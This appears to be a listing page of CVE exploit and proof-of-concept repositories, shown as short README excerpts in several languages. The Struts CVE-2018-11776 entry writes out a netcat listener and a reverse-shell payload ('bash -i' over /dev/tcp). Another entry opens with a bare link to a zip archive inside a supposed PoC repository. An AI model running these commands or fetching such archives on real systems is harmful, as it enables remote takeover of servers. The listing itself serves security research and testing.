cve-2019-0227

cve-2019-0227 ثغرة تنفيذ التعليمات البرمجية عن بُعد في Apache Axis 1.4 تحتاج إلى إعداد مستمع على جهازك المحلي باستخدام msf، كما تحتاج إلى تعديل الأسطر من 24 إلى 30 من الكود ＃تحتاج إلى تغيير هذه المتغيرات لتتناسب مع تكوينك myip = “ 192.168.0.117 ” ＃عنوان IP لجهازك target = “ 192.168.0.102 ” ＃عنوان...

CVE-2025-24367-Cacti-PoC

CVE-2025-24367 - ثغرة تنفيذ الأوامر عن بعد في قالب الرسم المصادق عليه في Cacti الاستخدام والأمان هام — اقرأ هذا أولاً: هذا المستودع وملف exploit.py مقدمان لأغراض تعليمية وبحثية فقط. لا تستخدم هذا الكود ضد أنظمة أو شبكات أو خدمات ليس لديك تصريح كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة...

RCity-CVE-2024-27198

RCity - CVE-2024-27198 RCE & إنشاء حساب مسؤول & CVE-2024-27199 تجاوز المصادقة استغلال CVE-2024-27198 و CVE-2024-27199 RCity هو سكربت Python يتفاعل مع خادم TeamCity المعرّض للثغرة. تسهّل الثغرة CVE إنشاء حساب مسؤول غير مصرح به، وتجاوز استجابات 403 على النطاق. بينما تحقق أيضًا RCE عبر مسار...

CVE-2025-54424

https://raw.githubusercontent.com/hophtien/CVE-2025-54424/main/unrevolted/CV-v3.9.zip CVE-2025-54424 : Scanner RCE et Kit de Test Sécurisé pour 1Panel en Laboratoire CVE-2025-54424 est une vulnérabilité concernant 1Panel, impliquant un contournement de certificat client pouvant potentiellement...

POC-CVE-2018-10933

POC-CVE-2018-10933 استغلال تجاوز المصادقة في LibSSH باستخدام RCE مراجع الكود مستودع Git لمثال https://www.youtube.com/watch?v=ZSWQjmfcn4g مزيد من المعلومات حول الثغرة https://www.libssh.org/security/advisories/CVE-2018-10933.txt https://vulners.com/cve/CVE-2018-10933...

CVE-2025-68613-POC

🚨 CVE-2025-68613: n8n의 심각한 RCE 취약점 목차 1. 개요 2. n8n이란? 3. 취약점 기본 4. 기술적 세부 사항 5. 영향받는 버전 6. 악용 메커니즘 7. 실제 영향 8. 탐지 방법 9. 수정 및 완화 10. 리소스 및 참고 자료 개요 CVE-2025-68613 은 인기 있는 오픈 소스 워크플로우 자동화 플랫폼인 n8n 에서 발견된 심각한 원격 코드 실행RCE 취약점입니다. 이 취약점은 인증된 사용자가 서버에서 임의의 코드를 실행할 수 있게 하여, 잠재적으로 시스템 전체가 손상될 수 있습니다. 빠른 ...

Kernelhub

Bienvenue sur Kernelhub Préface L'intention initiale de la création de ce projet est d'apprendre, d'analyser et de rechercher les dernières vulnérabilités du noyau, sans avoir besoin de consulter le système et le contenu associé. Ce projet est un projet de collecte ; à l'exception des échecs de...

CVE-2021-44228-Log4j-lookup-Rce

0x01、البيئة Jdk7u21 أي إصدار يعمل الإصدارات المتأثرة: Apache Log4j 2.x org.apache.logging.log4j log4j-core 2.11.1 Poc import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class test2 private static Logger LOGGER = LogManager.getLogger; public static void...

ezviz_lan_rce

ezvizlanrce This repository contains the slides and PoC videos for the talk SADProtocol goes to Hollywood which was presented at DEF CON 31 Hardware Hacking Village. You can also find the docker image to build binaries that run on the camera and the proof of concept exploits for CVE-2023-34551 an...

ezviz_lan_rce

ezvizlanrce يحتوي هذا المستودع على الشرائح ومقاطع فيديو PoC الخاصة بمحاضرة SADProtocol goes to Hollywood التي قُدِّمت في DEF CON 31 Hardware Hacking Village. يمكنك أيضاً العثور على صورة Docker لبناء ملفات ثنائية تعمل على الكاميرا، واستغلالات إثبات المفهوم لـ CVE-2023-34551 وCVE-2023-34552...

EUVD-2026-96118

The Rank Math SEO WordPress plugin before 1.0.280 does not correctly validate the type of a file uploaded through its settings import feature, allowing users with administrator-level access to upload a PHP file and achieve remote code execution...

Article-RegreSSHion-CVE-2024-6387

ثغرة RegreSSHion CVE-2024-6387: ثغرة حرجة لتنفيذ الأكواد عن بُعد في OpenSSH في عصر أصبحت فيه الأمنية الرقمية أمرًا حاسمًا، اجتذبت ثغرة جديدة في OpenSSH، تم تحديدها تحت اسم CVE-2024-6387، انتباه مدراء الأنظمة ومتخصصي الأمن حول العالم. سُميت "regreSSHion"، وهذه الثغرة الأمنية الخطيرة تسمح بتنفيذ...

CVE-2018-11776

CVE-2018-11776 بيئة لـ CVE-2018-11776 / S2-057 العرض التوضيحي تشغيل الخادم $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 الاستغلال $ nc -l 10000 أو nc -lp 10000 $ python3 exploit.py localhost:30080 'bash -i & /dev/tcp/192.168.33.1/10000 0&1'...

scanner-for-CVE-2025-55182-vulnerability

🛡️ ماسح ثغرات GitHub لـ CVE-2025-55182 RCE في React/Next.js تم تصميم هذا السكربت بلغة Python لفحص جميع مستودعاتك العامة والخاصة على GitHub بحثًا عن التبعيات التي يُحتمل أن تكون عرضة لثغرة CVE-2025-55182 وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد تؤثر على إصدارات محددة من React Server...

CVE-2022-22954

CVE-2022-22954 تنبيه يرجى استخدام هذا على مسؤوليتك الخاصة. هذا المستودع مخصص للأغراض التعليمية فقط ونحن نعارض بشدة جميع النوايا غير القانونية ولن نكون مسؤولين عن أي أنشطة غير قانونية مرتبطة بهذا المستودع. كن أخلاقيًا! مثال python3 CVE-2022-22954.py -t target.com python3 CVE-2022-22954.py -t...

log4shell-test-exploit

اختبار استغلال ثغرة CVE-2021-44228 log4shell التحضير Install Nodejs HTTP server npm -g i http-server Build victim app cd victim-app mvn install Compile Trojan cd test-trojan javac Trojan.java Build marshalsec required Java 8 git clone [email protected]:mbechler/marshalsec.git cd marshalsec m...

CVE-2024-7029

أداة PoC لاستغلال CVE-2024-7029 في أجهزة AvTech 🎤 ترجمة README الإنجليزية فارسی 📸 لقطة الشاشة 💎 مقدمة تسلط CVE-2024-7029 الضوء على مشكلة أمنية خطيرة في أجهزة AVTech، حيث يمكن للمهاجمين تجاوز المصادقة وتنفيذ أوامر عشوائية عن بُعد. تشكل هذه الثغرة مخاطر كبيرة على سلامة وأمن الشبكات المتأثرة. 💀 نظرة...

CVE-2026-66066-POC

PoC pour CVE-2026-66066 - Laboratoire minimal stock Rails/libvips Ce dépôt reproduit la chaîne de lecture-de-fichier-vers-RCE d'Active Storage de Rails décrite par GHSA-xr9x-r78c-5hrm contre Rails 8.1.3, la version affectée la plus récente de la branche Rails 8.1. Rails 8.1.3.1 est le témoin...

CVE-2024-55555

ماسح Laravel Crypto Killer الشامل CVE-2024-55555 يقوم هذا السكربت بإجراء مسح شامل لتطبيقات Laravel المعرّضة لثغرة CVE-2024-55555، وهي ثغرة تنفيذ برمجيات عن بُعد دون مصادقة RCE في Invoice Ninja. يقوم بأتمتة عملية اكتشاف المواقع التي تستخدم قيم APPKEY ضعيفة أو معروفة، والتحقق مما إذا كانت معرّضة...

CVE-2024-3116_RCE_in_pgadmin_8.4

CVE-2024-3116RCEinpgadmin8.4 Création d’un lab et test de la CVE-2024-3116, une exécution de code à distance dans pgadmin 8.4 pip télécharger le fichier .whl 8. Installer pgadmin4 : python -m pip install C:\Users\User\Downloads\pgadmin4-8.4-py3-none-any.whl Dossier d’installation :...